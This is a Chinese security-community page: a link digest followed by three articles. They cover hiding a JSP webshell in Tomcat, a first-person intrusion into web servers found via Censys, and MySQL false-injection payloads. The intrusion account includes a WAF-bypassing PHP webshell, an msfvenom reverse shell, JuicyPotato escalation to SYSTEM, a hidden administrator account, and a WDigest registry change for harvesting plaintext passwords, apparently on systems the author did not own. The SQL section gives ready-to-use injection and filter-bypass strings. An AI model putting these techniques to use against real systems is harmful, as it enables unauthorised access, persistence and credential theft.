因 Facebook 的专利条款 WordPress 放弃 ReactJS
****资讯类：**** ** ******
************
************
警告：CCleaner被黑客植入恶意代码，超过230万用户感染
<http://thehackernews.com/2017/09/ccleaner-hacked-malware.html>
未打补丁的Windows内核bug可促使恶意软件绕过杀软的检测
<http://thehackernews.com/2017/09/windows-kernel-malware.html>
**
******
**技术类：** ****
********
Fastbin攻击：堆漏洞利用代码开发
<https://0x00sec.org/t/heap-exploitation-fastbin-attack/3627>
CCleaner恶意代码分析预警
<http://bobao.360.cn/news/detail/4327.html>
CCleanup被曝存在后门，海量计算机受影响
<http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html>
Optionsbleed：HTTP OPTIONS方法可以泄露Apache服务器的内存
<https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html>
<https://www.exploit-db.com/exploits/42745/>
USENIX Security '17 会议视频
<https://www.youtube.com/playlist?list=PLbRoZ5Rrl5leSmnr5gJpvedQ3oj2ostRR>
TrickBot如何通过Web注入影响到被攻击者
<https://www.uperesia.com/how-trickbot-tricks-its-victims>
docker镜像更新频率一览
<https://anchore.com/blog/look-often-docker-images-updated/>
Leaked Lists
<https://hashes.org/public.php>
AWS渗透测试part 1：S3 Buckets
<https://www.virtuesecurity.com/blog/aws-penetration-testing-s3-buckets/>
Pytosquatting：在PyPI中删除违规伪装命名的恶意模块
<https://www.pytosquatting.org/>
Linux攻击面分析
<https://anvilventures.com/blog/linux-attack-surface-analysis.html>
使用Frequency分析来防御Office 365
<https://blogs.technet.microsoft.com/office365security/using-frequency-analysis-to-defend-office-365/>
新型恶意软件变种"Nyetya"威胁大量计算机
<http://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html>
MinerBlock：A web extension to block web based cryptocurrency miners all over
the web.
<https://github.com/xd4rker/MinerBlock>
Kioptrix: Level 1.2 Walkthrough – Vulnhub
<https://www.jimwilbur.com/2017/09/kioptrix-level-1-2-walkthrough-vulnhub/>
s2-052 iso镜像实验环境
<https://pentesterlab.com/exercises/s2-052>
Hacking a Pizza Order with Burp Suite
<https://privsec.blog/hacking-a-pizza-order-with-burp-suite/>
Malicious Chrome extension meddling with your searches
<https://blog.0day.rocks/malicious-chrome-extension-meddling-with-your-searches-581aa56ddc9c>
debian-sys-maint-roll-passwd
<https://github.com/digitalocean/debian-sys-maint-roll-passwd> | 社区文章 |
作者：[n1nty@360 A-Team](http://mp.weixin.qq.com/s/1ZiLD396088TxiW_dUOFsQ
"n1nty@360 A-Team")
这篇笔记我尽量少贴代码，有兴趣的可以自己去跟一下。
需要知道的背景知识：
1.在 tomcat 的 conf/web.xml 文件中配置了一个如下的 servlet：
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
<init-param>
<param-name>fork</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>xpoweredBy</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>3</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
这意味着，tomcat 接收到的所有的 jsp 或 jspx
的请求，都会转交给`org.apache.jasper.servlet.JspServlet`来处理，由它来将请求导向至最终的位置。
2.Jsp 文件会被转换为 Java 文件，并随后被编译为 class。转换后的文件与编译后的 class 默认保存在 Tomcat 下的 work
目录中。请求最终会被导向至从 Jsp 文件编译出来的 class 的对象上。
3.Jsp 被编译并被加载实例化后，会被封装在一个 JspServletWrapper 对象中。在 Tomcat 中，每一个 Context 都对应有一个
JspRuntimeContext 对象，该对象中以 Map 的形式，以 path（如 /index.jsp） 为key 保存了当前 Context
中所有的 JspServletWrapper 对象。
4.被编译并且被 Tomcat 加载后（创建了对应的 JspServletWrapper 对象后），Jsp 文件以及转换出来的 Java 文件以及由
Java 文件编译出来的 class 文件，在一定程度上来说，都是可有可无的。
这里简述一下 Tomcat 会在什么时候对 Jsp 进行编译：
1. 当 Tomcat 处于 development 模式时（这是默认的），当一个 Jsp 第一次被请求时，会对被请求的文件进行编译。随后，每次请求时，都会对文件进行更新检查，一旦发现源 Jsp 文件有变更，则将重新编译。而如果发现源 Jsp 文件不存在了，则会出现 404，这是我们要 “欺骗” 的一个地方。
2. 当 Tomcat 处于非 development 模式，且 JspServlet 的初始化参数 checkInterval 的值大于 0 的时候，Tomcat 将采用后台编译的方式 。这种情况下，当一个 Jsp 第一次被访问的时候，它将会被编译。随后每隔指定的时间，会有一个后台线程对这些 Jsp 文件进行更新检查，如果发现文件有更新，则将在后台进行重新编译，如果发现文件不存在了，将从 JspRuntimeContext 中删除对应的 JspServletWrapper 对象，导致我们随后的访问出现 404。这是我们要欺骗的另一个地方，虽然看起来与上面是一样的，但是体现在代码中却不太一样。
讲到这里，所谓 “隐藏任意 Jsp 文件” 的原理也就很简单了。只要在 Jsp编译完成后，删掉原有 Jsp 文件，并 “欺骗” Tomcat
让它认为文件依然存在，就可以了。
简述一下 Tomcat 接收请求的过程，当然这里只简述请求到达 JspServlet 后发生的事情，之前的事情就太多了。这里从 JspServlet 的
serviceJspFile 开始说起，代码如下：
private void serviceJspFile(HttpServletRequest request,
HttpServletResponse response, String jspUri,
boolean precompile)
throws ServletException, IOException {
JspServletWrapper wrapper = rctxt.getWrapper(jspUri);
if (wrapper == null) {
synchronized(this) {
wrapper = rctxt.getWrapper(jspUri);
if (wrapper == null) {
// Check if the requested JSP page exists, to avoid
// creating unnecessary directories and files.
if (null == context.getResource(jspUri)) {
handleMissingResource(request, response, jspUri);
return;
}
wrapper = new JspServletWrapper(config, options, jspUri,
rctxt);
rctxt.addWrapper(jspUri,wrapper);
}
}
}
try {
wrapper.service(request, response, precompile);
} catch (FileNotFoundException fnfe) {
handleMissingResource(request, response, jspUri);
}
}
它的主要作用就是检查 JspRuntimeContext 中是否已经存在与当前 Jsp 文件相对应的
JspServletWrapper（如果存在的话，说明这个文件之前已经被访问过了）。有的话就取出来，没有则检查对应的 Jsp
文件是否存在，如果存在的话就新创建一个 JspServletWrapper 并添加到 JspRuntimeContext 中去。
随后会进入 JspServletWrapper 的 service 方法，如下（我对代码进行了删减，只看与主题有关的部分）：
public void service(HttpServletRequest request,
HttpServletResponse response,
boolean precompile)
throws ServletException, IOException, FileNotFoundException {
Servlet servlet;
try {
/*
* (1) Compile
*/
if (options.getDevelopment() || firstTime ) {
synchronized (this) {
firstTime = false;
// The following sets reload to true, if necessary
ctxt.compile();
}
} else {
if (compileException != null) {
// Throw cached compilation exception
throw compileException;
}
}
/*
* (2) (Re)load servlet class file
*/
servlet = getServlet();
// If a page is to be precompiled only, return.
if (precompile) {
return;
}
} catch (ServletException ex) {
.....
}
/*
* (4) Service request
*/
if (servlet instanceof SingleThreadModel) {
// sync on the wrapper so that the freshness
// of the page is determined right before servicing
synchronized (this) {
servlet.service(request, response);
}
} else {
servlet.service(request, response);
}
} catch (UnavailableException ex) {
....
}
}
可以看到，主要流程就是编译 Jsp，然后进入编译出来的 Jsp 的 service 方法，开始执行 Jsp 内的代码。这里先判断当前 Jsp
是不是第一次被访问，或者 Tomcat 是否处于 development 模式中。如果是，则会进入 `ctxt.compile();`对 Jsp
进行编译。ctxt 是 JspCompilationContext 的对象，该对象内封装了与编译 Jsp 相关的所有信息，每一个
JspServletWrapper 里面都有一个自己的 JspCompilationContext。也就是在 compile 方法里面，对 Jsp
文件的更改以及删除做了检查。
而当 Tomcat 利用后台线程来对 Jsp 的更新删除做检查的时候，是不会经过这里的，而是直接进入 JspCompilationContext 的
compile 方法（也就是上文的 ctxt.compile() 方法）。代码如下：
public void compile() throws JasperException, FileNotFoundException {
createCompiler();
if (jspCompiler.isOutDated()) {
if (isRemoved()) {
throw new FileNotFoundException(jspUri);
}
try {
jspCompiler.removeGeneratedFiles();
jspLoader = null;
jspCompiler.compile();
jsw.setReload(true);
jsw.setCompilationException(null);
} catch (JasperException ex) {
// Cache compilation exception
jsw.setCompilationException(ex);
if (options.getDevelopment() && options.getRecompileOnFail()) {
// Force a recompilation attempt on next access
jsw.setLastModificationTest(-1);
}
throw ex;
} catch (FileNotFoundException fnfe) {
// Re-throw to let caller handle this - will result in a 404
throw fnfe;
} catch (Exception ex) {
JasperException je = new JasperException(
Localizer.getMessage("jsp.error.unable.compile"),
ex);
// Cache compilation exception
jsw.setCompilationException(je);
throw je;
}
}
}
JspCompilationContext 对象内有一个 Compile 对象，用它来对 Jsp
进行更新检查以及编译。jspCompile.isOutDated 方法代码如下：
public boolean isOutDated(boolean checkClass) {
if (jsw != null
&& (ctxt.getOptions().getModificationTestInterval() > 0)) {
if (jsw.getLastModificationTest()
+ (ctxt.getOptions().getModificationTestInterval() * 1000) > System
.currentTimeMillis()) {
return false;
}
jsw.setLastModificationTest(System.currentTimeMillis());
}
Long jspRealLastModified = ctxt.getLastModified(ctxt.getJspFile());
if (jspRealLastModified.longValue() < 0) {
// Something went wrong - assume modification
return true;
}
......
}
我们只需要让此方法返回 false，那么无论 Tomcat 在何时对 Jsp 文件进行编译或者更新检查，都会认为这个 JspServletWrapper
对象的 Jsp 文件没有发生任何更改，所以也就不会发现文件被删掉了。它会继续保留这个 JspServletWrapper 对象以供客户端访问。
后面就没有什么好说的了，如何进行“欺骗”，大家直接看效果吧。将 hideshell.jsp （在后面提供） 放在 webapps/ROOT
下，同目录下有传说中的 jspspy2011.jsp：
Tomcat 启动后，先访问一下 jspspy2011.jsp，目的是为了让 Tomcat 将它编译，并生成 JspServletWrapper 保存在
JspRuntimeContext 中（其实我们也可以自己用代码来编译，但是我太懒）。然后再访问 hideshell.jsp，如下图：
点击 "Hide /jspspy2011.jsp"，会发现 webapps/ROOT 目录下的 jspspy2011.jsp 消失了，再访问
jspspy2011.jsp 出现了 404。Shell 被“隐藏”了，而且访问路径被更改成了 hidden-jspspy2011.jsp：
同时再回到 hideshell.jsp，它会提示 /hidden-jspspy2011.jsp 是一个疑似的隐藏文件：
hideshell.jsp 会尝试将被隐藏的 Jsp 文件与它生成的 Java 与 class 文件全部删掉。但是我发现如果 Jsp
中使用了内部类，这些内部类所编译出来的 class 不会被删掉。
“隐藏” 任意 Jsp 文件到此已经实现了。可是虽然文件看不到了，当我们在访问隐藏后的路径的时候，依然会产生日志。那么下一篇笔记，有可能分享一下在隐藏
Shell 的同时，如何隐藏掉它们产生的访问日志。
其实细心的话你会发现，你在访问这个 hideshell.jsp 的时候，如果你的日志使用的是默认配置的话，Tomcat 是不会记录你的访问日志的。：）
hideshell.jsp 我发在了 ThreatHunter
社区，<https://threathunter.org/topic/59545c18a1e4d7fc5810529a>
* * *
**欢迎关注作者公众号**
* * * | 社区文章 |
# 记一次Windows渗透提权历程
~~故事要从一次屁眼交易讲起，久经沙场的隔壁老王~~ 。。。咳咳不好意思念错稿了
最近上手代码审计菜得怀疑人生，因此想回到安逸区利用已知漏洞做下渗透找回自信= =
## 物色目标
很多站点出于安全考虑，都会在robots.txt文件中屏蔽掉搜索引擎对敏感路径页面的爬取。robots文件里的敏感路径在针对一个目标渗透时可以帮助我们识别出重要页面，但它的存在不利于自动化工具的批量采集，所以Censys、Shodan、Zoomeye的香味就显得愈发浓郁
首先在Censys中利用敏感路经找到了一堆服务器，挑了几个看起来顺眼的利用某代码执行漏洞写入WebShell
前几个站基本没遇到啥阻碍，遇到的宝塔WAF用`file_put_con%00tents`这种就可以绕过，有安全狗的也都是很久没更新过的免费版，随便找了个库存里的就过了：
file_put_contents(%27test.php%27,%27%3C?php%20function%20a(){%20return%20%22assert%22;%20}%20$a=a();%20$aa%20=%20array($_POST[%221%22]);%20call_user_func_array($a,$a=$aa);%20?%3E%27);
蚁剑连上WebShell后Open Terminal Here，`whoami`看了下基本都是`nt
authority\system`权限，`netstat -nao`和`net view /domain`也没看出有内网环境，于是交SRC草草了事
## 异端出现
然后本文的主角就登场了，执行`whoami`发现是`iis
apppool\xxx`，只能读到WebShell所在子目录下的文件，其它盘符及Web根目录均无权访问，phpinfo中`open_basedir`为`no
value`，所以问题出在账户权限上
上传一个去后门网红大马，二话不说就准备MySQL提权，然后反应过来现在根本读不到数据库的配置文件，完全不知道库名和帐号密码，而且`net
user`看到有一个单独的`mysql`账户，估计多半也是低权限= =
接着开始觊觎反弹提权。。。nc能连上但是没回显，php的`whoami`回显回来并没有卵用。。。
nc -vv -l 12388
Listening on [0.0.0.0] (family 0, port 12388)
Connection from 103.xxx.xx.xxx 55436 received!
*********************************************
is ok
*********************************************
[Shell]> whoami
Shellresult:
[Shell]> ^C
root@:~# nc -vv -l 12388
Listening on [0.0.0.0] (family 0, port 12388)
Connection from 103.xxx.xx.xxx 56873 received!
nc -vv -l 12388
Listening on [0.0.0.0] (family 0, port 12388)
Connection from 103.xxx.xx.xxx 56873 received!
----------------------PHP反弹连接---------------------- whoami
iis apppool
^C
撒泡尿冷静了一下，继续尝试利用操作系统缺失补丁提权，`systeminfo`获取补丁信息并存入本地的`sysinfo.txt`中
运行`windows-exploit-suggester.py`快速获取缺失补丁及对应漏洞情况
先尝试了MSF中有exploit的几个洞
# 生成并上传反弹shell
msfvenom -p windows/shell/reverse_tcp lhost=IP lport=12388 -a x86 --platform win -f exe -o a.exe
# 监听目标端口
msf5 > use exploit/multi/handler
set lhost IP
set lport 12388
run
# WebShell中运行a.exe，捕获会话后输入
background
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
run
等了它一分钟若有其事地执行完后告诉我失败了= =，其它几个exploit一样都是失败
[*] Exploit completed, but no session was created.
继续尝试了K8tools的[iislpe](https://github.com/k8gege/K8tools/blob/master/iislpe.exe)也未成功
走投无路想起了刚才出现过的`MS16-075: Security Update for Windows SMB Server
(3164038)`，跟着链接走
<https://github.com/foxglovesec/RottenPotato>
瞟了几眼没看懂原理，照作者提示继续找到新的替代品
<https://github.com/breenmachine/RottenPotatoNG>
但是前不久刚重装过系统，手边并没有VS的编译环境，在项目中也没找到合适的编译好的exe，此时天已经开始亮了。。。狗命要紧先睡觉
睡完起来后终于想起了[juicy-potato](https://github.com/ohpe/juicy-potato)，按照 三好学生
大神的[文章](https://3gstudent.github.io/3gstudent.github.io/Windows%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E5%B7%A5%E5%85%B7Juicy-Potato%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90/)开始尝试
whoami /priv
拒绝访问。
特权信息
---------------------- 特权名 描述 状态
============================= ==================== ======
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌 已禁用
SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用
SeAuditPrivilege 生成安全审核 已禁用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
看起来像是成功了的样子，但蚁剑里`whoami`后依然是`iis`，尝试用msf的shell执行也无济于事
## 柳暗花明
俗话说世上无难事只要肯 ~~放弃~~
攀登，终于在土司找到了大佬改写过的[WebShell版烂土豆](https://www.t00ls.net/viewthread.php?tid=47362&highlight=potato)，上传到服务器后执行：
JuicyPotato.exe -p whoami
�ܾ����ʡ�
JuicyPotato modified by skyer v0.1
[+] Testing {4991d34b-80a1-4291-83b6-3328366b9097} 23573
......
[+] Auth result 0
[+] CLSID:{4991d34b-80a1-4291-83b6-3328366b9097}; Privilege:NT AUTHORITY\SYSTEM
[+] Launching server JuicyPotato.exe -s 4700
[+] SeImpersonate enabled!
[+] CommandThread launched!
[+] CreateProcessWithTokenW OK
[+] Waiting command server...
[*] Trying connect server 127.0.0.1:4700...
[+] Command server connected!
=================================
nt authority\system
=================================
提权成功，但蚁剑的WebShell里好像只能传一个参数？再次抱起被遗弃的msf孤儿shell
# 将password替换为满足强度要求的密码，否则需要改组策略关闭密码强度检查
execute -f JuicyPotato.exe -p net user admin$ password
execute -f JuicyPotato.exe -p net localgroup administrators admin$ /add
为避免打草惊蛇先`netstat -nao`看了下，被改过的远程桌面端口处于未连接状态，管理员应该吃饭睡觉打豆豆去了，抓紧时间连上去看看
`proxychains rdesktop -f 103.xxx.xx.xxx:1xxxx`
redesk全屏可通过CTRL+ALT+ENTER退出
访问被丑拒，右键属性->安全->编辑->添加新用户
上传mimikatz抓管理员明文密码失败，Windows Server 2008
R2及更高版本的系统，默认配置下无法在凭据中保存明文信息，需要改注册表等待用户再次登录
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
或
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
在组策略中部署一个记录登录IP的bat
@echo off
date /t >>C:\WINDOWS\loginlog.log
time /t >>C:\WINDOWS\loginlog.log
netstat -an | find ":3389" | find "ESTABLISHED" >> C:\WINDOWS\loginlog.log
接着按照[隐藏账户](https://3gstudent.github.io/3gstudent.github.io/渗透技巧-Windows系统的帐户隐藏/)中所述方法，尽可能降低被发现的几率
此时对该目标机器的渗透也接近尾声，之后继续试着挖挖外连的一台mysql机器、抓到管理员密码后登录百度云看看能有更多收获没有
## 总结
其实不论是在之前的渗透还是这次的提权过程中，很多时候陷入困境时就想着放弃算了，但大多数情况下不服输地再坚持研究一会终究能找到突破口，漏洞挖一挖总是有的。文章最后首尾呼应一下，干了自己熬的鸡汤和夜，洗洗睡一觉继续学习代码审计ORZ | 社区文章 |
# 【技术分享】MySQL False注入及技巧总结
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[ **Leej**](http://bobao.360.cn/member/contribute?uid=2783271953)
**预估稿费：300RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x01 False Injection**
**引子** **** ****
首先我们常见的注入
1=1
0<1
''=''
这些都是基于1=1这样的值得比较的普通注入，下面来说说关于False注入，利用False我们可以绕过一些特定的WAF以及一些未来不确定的因素，其中有些姿势之前了解但是没有去深入，这次做一个归纳总结。
首先抛出这么一个问题
为什么username=0会导致返回数据呢？
这就是一个基于false注入的例子，下面在举一个例子
和上面是同一个表，但是为什么这里只返回了两组数据呢？说到这里不得不说一说有关于MYSQL的隐式类型转换。
**MYSQL隐式类型转换**
关于[ **官方文档**](https://dev.mysql.com/doc/refman/5.6/en/type-conversion.html)
中是这么说的
The following rules describe how conversion occurs for comparison operations:
If one or both arguments are NULL, the result of the comparison is NULL,
except for the NULL-safe
[<=>](https://dev.mysql.com/doc/refman/5.5/en/comparison-operators.html#operator_equal-to) equality comparison operator. For NULL <=>
NULL, the result is true. No conversion is needed.
If both arguments in a comparison operation are strings, they are compared as
strings.
If both arguments are integers, they are compared as integers.
Hexadecimal values are treated as binary strings if not compared to a number.
If one of the arguments is a
[TIMESTAMP](https://dev.mysql.com/doc/refman/5.5/en/datetime.html) or
[DATETIME](https://dev.mysql.com/doc/refman/5.5/en/datetime.html) column and
the other argument is a constant, the constant is converted to a timestamp
before the comparison is performed. This is done to be more ODBC-friendly.
Note that this is not done for the arguments to
[IN()](https://dev.mysql.com/doc/refman/5.5/en/comparison-operators.html#function_in)! To be safe, always use complete datetime, date,
or time strings when doing comparisons. For example, to achieve best results
when using [BETWEEN](https://dev.mysql.com/doc/refman/5.5/en/comparison-operators.html#operator_between) with date or time values, use
[CAST()](https://dev.mysql.com/doc/refman/5.5/en/cast-functions.html#function_cast) to explicitly convert the values to the desired
data type.
If one of the arguments is a decimal value, comparison depends on the other
argument. The arguments are compared as decimal values if the other argument
is a decimal or integer value, or as floating-point values if the other
argument is a floating-point value.
In all other cases, the arguments are compared as floating-point (real)
numbers.
其中大致是：
如果两个参数比较，有至少一个NULL，结果就是NULL，除了是用NULL<=>NULL 会返回1。不做类型转换
两个参数都是字符串，按照字符串比较。不做类型转换
两个参数都是整数，按照整数比较。不做类型转换
如果不与数字进行比较，则将十六进制值视为二进制字符串。
有一个参数是 TIMESTAMP 或 DATETIME，并且另外一个参数是常量，常量会被转换为时间戳
有一个参数是 decimal 类型，如果另外一个参数是 decimal 或者整数，会将整数转换为 decimal
后进行比较，如果另外一个参数是浮点数，则会把 decimal 转换为浮点数进行比较
所有其他情况下，两个参数都会被转换为浮点数再进行比较
最后那一句话很重要，说明如果我是字符串和数字比较，需要将字符串转为浮点数，这很明显会转换失败
在这里我试了试如果是字符串和数字比较：
可以看到在进行类型转换的时候，将字符串转换的时候会产生一个warning，转换的结果为0，但是如果字符串开头是数字的时候还是会从数字部分截断，转换为数字。
现在可以很好理解开头说的为什么username=0会导致返回数据了，就是因为这里会将数据转换为浮点数比较，但是字符串转换会出问题，从而返回0使得0=0从而为true得到结果，而后面passwd查询少一组数据的原因就是admin的passwd字段第一个字符是2
从而返回2 并非为0。
**2、利用**
实际中我们接触到的语句都是带有引号的，类似于where username='+input+'
这样的，这时候我们就需要做一些处理来构造false注入的利用点。
**2.1、算术运算**
加：+
'+', 拼接的语句：where username=''+''
减：-
'-' 拼接的语句：where username=''-''
乘：*
'*' 拼接的语句：where username=''*''
除：/
'/6# 拼接的语句：where username=''/6#
取余：%
'%1# 拼接的语句：where username=''%1#
**2.2、 位操作运算**
我们可以使用当字符串和数字运算的时候类型转换的问题进行利用
我们可以用的位运算符有：
和运算：&
'&0# 拼接的语句：where username=''&0#'
或运算：|
'|0# 拼接的语句：where username=''|0#'
异或运算：^
'^0# 拼接的语句：where username=''^0#'
移位操作：
'<<0# '>>0#
位非（~）：这里位非运算符由于是在表达式之前的
**2.3、 比较运算符**
安全等于：<=>
'=0<=>1# 拼接的语句：where username=''=0<=>1#'
不等于<>(!=)
'=0<>0# 拼接的语句：where username=''=0<>0#'
大小于>或<
'>-1# 拼接的语句：where username=''>-1#
**2.4、 其他**
'+1 is not null# 'in(-1,1)# 'not in(1,0)# 'like 1# 'REGEXP 1# 'BETWEEN 1 AND 1# 'div 1# 'xor 1# '=round(0,1)='1 '<>ifnull(1,2)='1
**3、综合利用**
false注入这种注入方式有的优势就是，在某些特定时候可以绕过WAF或者是一些其他的绕过。
这里举例一道题
<?php include("config.php"); $conn ->query("set names utf8"); function randStr($lenth=32){ $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm"; $str = ""; while($lenth>0){ $str.=substr($strBase,rand(0,strlen($strBase)-1),1); $lenth --; } return $str; } if($install){ $sql = "create table `user` ( `id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT , `username` varchar(30) NOT NULL, `passwd` varchar(32) NOT NULL, `role` varchar(30) NOT NULL )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci "; if($conn->query($sql)){ $sql = "insert into `user`(`username`,`passwd`,`role`) values ('admin','".md5(randStr())."','admin')"; $conn -> query($sql); } } function filter($str){ $filter = "/ |*|#|;|,|is|union|like|regexp|for|and|or|file|--|||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"; if(preg_match($filter,$str)){ die("you can't input this illegal char!"); } return $str; } function show($username){ global $conn; $sql = "select role from `user` where username ='".$username."'"; $res = $conn ->query($sql); if($res->num_rows>0){ echo "$username is ".$res->fetch_assoc()['role']; }else{ die("Don't have this user!"); } } function login($username,$passwd){ global $conn; global $flag; $username = trim(strtolower($username)); $passwd = trim(strtolower($passwd)); if($username == 'admin'){ die("you can't login this as admin!"); } $sql = "select * from `user` where username='".$conn->escape_string($username)."' and passwd='".$conn->escape_string($passwd)."'"; $res = $conn ->query($sql); if($res->num_rows>0){ if($res->fetch_assoc()['role'] === 'admin') exit($flag); }else{ echo "sorry,username or passwd error!"; } } function source(){ highlight_file(__FILE__); } $username = isset($_POST['username'])?filter($_POST['username']):""; $passwd = isset($_POST['passwd'])?filter($_POST['passwd']):""; $action = isset($_GET['action'])?filter($_GET['action']):"source"; switch($action){ case "source": source(); break ; case "login" : login($username,$passwd);break; case "show" : show($username);break; }
我们注意到filter()函数
$filter = "/ |*|#|;|,|is|union|like|regexp|for|and|or|file|--|||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";
这里看起来过滤的比较多，其中and，or还有&，|都被过滤了，这个时候就可以利用false进行盲注。
可以在show函数利用查询的时候注入，
username = "admin'^!(mid((passwd)from(-{pos}))='{passwd}')='1"
这里官方给出的就是利用异或，其实这里并不需要’admin‘只要是一串字符串就可以
异或会使字符串都转为浮点型，都变为了0，由于0=0^0 -> 1^0 ->
1当然对于这个题并不一定利用这个，直接截取字符串作比较就可以，但是这里只是提供一种姿势，由于mysql的灵活，其花样也比较多还有就是构造的payload比较简短，例如'+'、'^'、'/4#这样只有三个字符便可以绕过登录，简单粗暴，还有就是类似的文章不多，许多开发人员容易忽视这些细节。
**3.1、结合盲注**
上面的例子payload就是利用字符串类型转换导致false注入结合盲注的一个过程
**0x02 一些注入的技巧**
mysql中，我们用得到的：
**常量：** true， false， null， N, current_timestamp变量：@myvar:=1
**系统变量：** @@version, @@datadir….
**常用函数：** version(), pi(), pow(), char(), substring()
**字符串生成：** hex(), conv()
**有关于字符串生成的一些基础字符：**
true=1,floor(pi())=3,ceil(pi())=4,floor(version())=5,ceil(version())=6
**1、过滤的绕过：**
空格：%20, %09, %0a, %0b, %0c, %0d, %a0，还有一些可以利用括号或者注释 and，or：||，&& union select： 利用括号，'and(true)like(false)union(select(pass)from(users))， 方括号union [all|distinct] select pass from users#， union%a0select pass from users， 或者内联注释union/*&sort=*/select pass from users# union：子查询进行盲注and length((select pass from users having substr(pass,1,1)='a')) having：and(select substr(group_concat(pass),1,1)from users)='a select ... from(过滤代码如/SELECTs+[A-Za-z.]+s+FROM/i/i)： select [all|distinct] pass from users select`table_name`from`information_schema` . `tables` select pass as alias from users select pass aliasalias from users select pass`alias alias`from users select+pass%a0from(users) select,and,&： 这里就是可以利用上文中提到的false注入的方式进行绕过，具体见上文
不使用逗号：' and substr(data from 1 for 1) = 'a'#
**2、技巧**
下面说几种不同情境的注入技巧
**2.1、like**
有时候我们可以利用一些逻辑语句进行注入例如在最近的0ctf上的Temmo’s Tiny
Shop这个题中，我们在搜索的时候推测出语句是在like后的，就可以通过left来进行like盲注
if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price)
**2.2、Limt**
在LIMIT后面可以跟两个函数，PROCEDURE 和 INTO，INTO是需要写的权限。
利用PROCEDURE 有两种方式，基于报错和时间的，具体文章见这里[
**Mysql下Limit注入方法**](https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html)
**基于报错：**
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
**基于时间：**
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
**2.3、order by**
order by 后的数字可以作为一个注入点。具体可以看这个文章[ **MySQL Order By
注入总结**](https://www.secpulse.com/archives/57197.html)
这里可以用一些判断和返回值进行利用，
/?order=IF(1=1,name,price) 通过name字段排序 /?order=IF(1=2,name,price) 通过price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序 /?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序
/?order=IFNULL(NULL,price) 通过price字段排序 /?order=IFNULL(NULL,name) 通过name字段排序
还可以用rand函数
/?order=rand(1=1) /?order=rand(1=2)
通常这里我们是不知道列名的，那可以通过报错进行利用
/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常 /?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误 利用regexp /?order=(select+1+regexp+if(1=1,1,0x00)) 正常 /?order=(select+1+regexp+if(1=2,1,0x00)) 错误 利用updatexml /?order=updatexml(1,if(1=1,1,user()),1) 正确 /?order=updatexml(1,if(1=2,1,user()),1) 错误 利用extractvalue /?order=extractvalue(1,if(1=1,1,user())) 正确 /?order=extractvalue(1,if(1=2,1,user())) 错误 利用sleep()也可以.... 方法比较灵活
**3、有关函数**
**3.1 不常用函数绕过滤**
lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi' rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??' left(data,1) reverse(right(reverse(data),1)) insert(insert(version(),1,0,space(0)),2,222,space(0))
**3.2 搜索匹配类的函数**
'-if(locate('f',data),1,0)# '-if(locate('fo',data),1,0)# '-if(locate('foo',data),1,0)# instr(), position()
**3.4、使用函数进行字符串的切割**
length(trim(leading 'a' FROM data)) # length will be shorter length(replace(data, 'a', '')) # length will be shorter
**4 关于php中md5的一个小技巧**
PHP中这么一段sql语句
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
这里是可以注入绕过的，在php关于[ **MD5函数**](http://php.net/manual/en/function.md5.php) 的介绍说
如果可选的 raw_output 被设置为 TRUE，那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
